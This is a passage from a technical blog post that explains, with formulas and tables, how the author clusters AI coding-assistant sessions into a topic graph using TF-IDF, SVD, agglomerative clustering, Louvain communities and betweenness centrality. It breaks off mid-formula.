&lt;p&gt;where &lt;strong&gt;t&lt;/strong&gt;, &lt;strong&gt;u&lt;/strong&gt;, &lt;strong&gt;s&lt;/strong&gt; are the TF-IDF, Tool-IDF, and Structural vectors respectively. The √weight trick ensures that in cosine distance, each group contributes proportionally to the specified ratio (50:25:25) after concatenation.&lt;/p&gt;

&lt;p&gt;Since the number of sessions &lt;code&gt;m&lt;/code&gt; is typically much smaller than the feature dimension &lt;code&gt;n&lt;/code&gt; (TF-IDF vocab + tool vocab + 7), I compute SVD efficiently via the Gram matrix:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Compute the Gram matrix (much smaller than the full covariance):&lt;/li&gt;
&lt;/ol&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;G=AA⊤(m×m)
G = A A^\top \quad (m \times m)
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;G&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;A&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;A&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;⊤&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord mathnormal"&gt;m&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;×&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;m&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;Extract top-k eigenvectors via &lt;strong&gt;power iteration + deflation&lt;/strong&gt; (50 iterations, seed=42 for reproducibility)&lt;/li&gt;
&lt;li&gt;Recover singular values and right singular vectors:&lt;/li&gt;
&lt;/ol&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;σi=λi,V=A⊤UΣ−1
\sigma_i = \sqrt{\lambda_i}, \qquad V = A^\top U \Sigma^{-1}
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;σ&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord sqrt"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span class="svg-align"&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;λ&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="hide-tail"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;V&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;A&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;⊤&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;U&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;Σ&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord mtight"&gt;−&lt;/span&gt;&lt;span class="mord mtight"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;ol&gt;
&lt;li&gt;L2-normalize the session embeddings &lt;strong&gt;UΣ&lt;/strong&gt; → k-dimensional dense latent space&lt;/li&gt;
&lt;/ol&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;k=min⁡(80,  max⁡(20,  ⌊m/4⌋))
k = \min\big(80,\; \max(20,\; \lfloor m/4 \rfloor)\big)
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;k&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mop"&gt;min&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="delimsizing size1"&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span class="mord"&gt;80&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mop"&gt;max&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord"&gt;20&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mopen"&gt;⌊&lt;/span&gt;&lt;span class="mord mathnormal"&gt;m&lt;/span&gt;&lt;span class="mord"&gt;/4&lt;/span&gt;&lt;span class="mclose"&gt;⌋)&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="delimsizing size1"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;p&gt;This latent space naturally surfaces cross-signal axes — inspecting columns of &lt;code&gt;V&lt;/code&gt; reveals which words and tools contribute to each latent dimension.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3: Agglomerative Clustering
&lt;/h2&gt;

&lt;p&gt;Using cosine distance in the SVD latent space, I run average-linkage agglomerative clustering with automatic threshold detection:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Build a cosine distance matrix between all session embeddings&lt;/li&gt;
&lt;li&gt;Run average-linkage clustering, recording the merge distance history&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Elbow detection&lt;/strong&gt;: find the merge step where the second derivative (acceleration) of merge distances is maximized → use as the cutoff threshold

&lt;ul&gt;
&lt;li&gt;Fallback: 0.7 if history is too short&lt;/li&gt;
&lt;li&gt;Clamped to [0.3, 0.9]&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Re-cluster with the detected threshold&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Oversized Cluster Splitting
&lt;/h3&gt;

&lt;p&gt;Clusters containing &amp;gt; 25% of all sessions (minimum 10) are split using a tighter threshold: &lt;code&gt;median(internal distances) × 0.8&lt;/code&gt; (floor: 0.15).&lt;/p&gt;

&lt;h3&gt;
  
  
  Narrow Cluster Merging
&lt;/h3&gt;

&lt;p&gt;When &lt;code&gt;/insights&lt;/code&gt; facets data is available, clusters with ≤ 2 sessions are candidates for merging. Goal categories are normalized from 50+ raw types into ~10 canonical categories (feature, bugfix, refactoring, documentation, review, testing, etc.). Two narrow clusters merge if they share ≥ 1 normalized category AND their average cosine distance &amp;lt; 0.7, up to a maximum merged size of 8.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4: Topic Node Construction
&lt;/h2&gt;

&lt;p&gt;Each cluster becomes a &lt;strong&gt;topic node&lt;/strong&gt; with:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Keywords&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Top-5 terms from the TF-IDF centroid (mean of cluster member vectors)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Label&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Shortest &lt;code&gt;underlying_goal&lt;/code&gt; from facets data (≤ 80 chars), falling back to top-3 keywords&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Representative Prompts&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Top-3 user prompts ranked by cosine similarity to centroid (deduplicated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Tool Signature&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Top-5 tools by &lt;code&gt;log(1 + count) × idf(tool)&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Dominant Role&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;subagent-delegated&lt;/code&gt; if subagent ratio &amp;gt; 15%, &lt;code&gt;tool-heavy&lt;/code&gt; if tool ratio &amp;gt; 60%, else &lt;code&gt;user-driven&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Step 5: Multi-Signal Edge Construction
&lt;/h2&gt;

&lt;p&gt;For every pair of topics, three signals are computed:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Signal&lt;/th&gt;
&lt;th&gt;Weight&lt;/th&gt;
&lt;th&gt;Method&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Semantic Similarity&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.4&lt;/td&gt;
&lt;td&gt;Cosine similarity between topic centroids in SVD space&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;File Overlap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.3&lt;/td&gt;
&lt;td&gt;Jaccard coefficient of edited file sets across member sessions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Session Overlap&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.3&lt;/td&gt;
&lt;td&gt;0.6 if same project &amp;amp; branch, 0.4 if sessions within 1 hour (max taken)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;strength=0.4 ssem+0.3 sfile+0.3 ssession
\text{strength} = 0.4\,s_{\text{sem}} + 0.3\,s_{\text{file}} + 0.3\,s_{\text{session}}
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord text"&gt;&lt;span class="mord"&gt;strength&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;0.4&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;s&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord text mtight"&gt;&lt;span class="mord mtight"&gt;sem&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;+&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;0.3&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;s&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord text mtight"&gt;&lt;span class="mord mtight"&gt;file&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;+&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;0.3&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;s&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord text mtight"&gt;&lt;span class="mord mtight"&gt;session&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;p&gt;Edges are created only when &lt;code&gt;strength &amp;gt; 0.2&lt;/code&gt;. Each edge is classified:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Condition&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;cross-project-bridge&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Source and target belong to entirely different project sets&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;shared-module&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;File overlap is the dominant weighted signal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;workflow-continuation&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Session overlap is the dominant weighted signal&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;semantic-similarity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Default (none of the above)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  Step 6: Community Detection &amp;amp; Centrality
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Louvain community detection&lt;/strong&gt; groups related topics by maximizing modularity:&lt;/p&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;Q=12m∑ij[Aij−kikj2m]δ(ci,cj)
Q = \frac{1}{2m} \sum_{ij}\left[A_{ij} - \frac{k_i k_j}{2m}\right] \delta(c_i, c_j)
&lt;/span&gt;&lt;span class="katex-html"&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;Q&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mrel"&gt;=&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="base"&gt;&lt;span class="strut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen nulldelimiter"&gt;&lt;/span&gt;&lt;span class="mfrac"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;2&lt;/span&gt;&lt;span class="mord mathnormal"&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="frac-line"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;1&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose nulldelimiter"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mop op-limits"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;ij&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="mop op-symbol large-op"&gt;∑&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="minner"&gt;&lt;span class="mopen delimcenter"&gt;&lt;span class="delimsizing size3"&gt;[&lt;/span&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;A&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;ij&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mbin"&gt;−&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mopen nulldelimiter"&gt;&lt;/span&gt;&lt;span class="mfrac"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;2&lt;/span&gt;&lt;span class="mord mathnormal"&gt;m&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="frac-line"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;k&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;k&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose nulldelimiter"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose delimcenter"&gt;&lt;span class="delimsizing size3"&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord mathnormal"&gt;δ&lt;/span&gt;&lt;span class="mopen"&gt;(&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;c&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;i&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mpunct"&gt;,&lt;/span&gt;&lt;span class="mspace"&gt;&lt;/span&gt;&lt;span class="mord"&gt;&lt;span class="mord mathnormal"&gt;c&lt;/span&gt;&lt;span class="msupsub"&gt;&lt;span class="vlist-t vlist-t2"&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;span class="pstrut"&gt;&lt;/span&gt;&lt;span class="sizing reset-size6 size3 mtight"&gt;&lt;span class="mord mathnormal mtight"&gt;j&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-s"&gt;​&lt;/span&gt;&lt;/span&gt;&lt;span class="vlist-r"&gt;&lt;span class="vlist"&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="mclose"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;/div&gt;


&lt;p&gt;Each node starts in its own community. Nodes are moved to whichever neighboring community yields the largest modularity gain &lt;code&gt;ΔQ&lt;/code&gt;, repeated until convergence (max 100 iterations).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Brandes betweenness centrality&lt;/strong&gt; identifies bridge topics — nodes that sit on shortest paths between communities:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;BFS from every node, recording shortest path counts σ and predecessors&lt;/li&gt;
&lt;li&gt;Back-propagate dependency:&lt;/li&gt;
&lt;/ol&gt;


&lt;div class="katex-element"&gt;
  &lt;span class="katex-display"&gt;&lt;span class="katex"&gt;&lt;span class="katex-mathml"&gt;δ(v)+=σ(v)σ(w)⋅(1+δ(w))
\delta(v) \mathrel{+}= \frac{\sigma(v)}{\sigma(w)} \cdot \bigl(1 + \delta(w)\bigr)
